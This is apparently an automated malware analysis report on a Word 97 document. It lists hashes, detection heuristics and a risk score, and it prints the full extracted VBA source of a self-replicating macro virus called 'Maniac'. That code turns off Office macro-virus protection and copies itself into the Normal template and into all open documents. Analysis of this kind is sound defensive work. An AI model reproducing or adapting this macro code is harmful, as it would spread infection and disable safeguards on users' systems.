Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 704d36e78184be4b…

MALICIOUS

Office (OLE)

74.0 KB Created: 2001-02-15 01:58:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-20
MD5: 14773c688efbc47cb343444f15a7f086 SHA-1: a3e4883caa2eaf9ef1c3ecb87e35e465f7da9abf SHA-256: 704d36e78184be4be61e003e4a26c1bc01342cf0243539a08761a5f61fe219d2
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that disable macro virus protection and attempt to copy themselves to the Normal template and other open documents. This behavior is indicative of a macro-based malware designed for persistence and propagation. The critical heuristic firing for VBA macro-virus self-replication strongly supports this assessment.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Application.Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 75,776 bytes but its declared streams total only 44,762 bytes — 31,014 bytes (41%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1584 bytes
SHA-256: aeb952745f44909bf8e9af86a5a232404cae724e600cc883fce003dfed37b922
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Maniac"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "ºêÔÚ 99-05-05 ÓÉ Administrator ´´½¨"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
  
  MacroCopy "open"
  
End Sub
Sub AutoNew()

  MacroCopy "new"
  
End Sub
Sub AutoClose()

  MacroCopy "close"
  
End Sub

Sub MacroCopy(ctype)
    
  Application.Options.VirusProtection = False
  
  TExist = 0
  'For Each xItem In NormalTemplate.VBProject.VBComponents
  For Each xitem In NormalTemplate.VBProject.VBComponents
    'If xitem.Type = vbext_ct_StdModule Then Count = Count + 1
    If xitem.Name = "Maniac" Then TExist = 1
  Next xitem
  If TExist = 0 Then _
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
    
  For Each openDoc In Documents
    'MsgBox openDoc.FullName
    DExist = 0
    For Each xitem In openDoc.VBProject.VBComponents
      If xitem.Name = "Maniac" Then DExist = 1
    Next xitem
    If DExist = 0 Then
      Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=openDoc.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
      If ctype = "open" Then openDoc.Save
    End If
  Next openDoc
   
End Sub




Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

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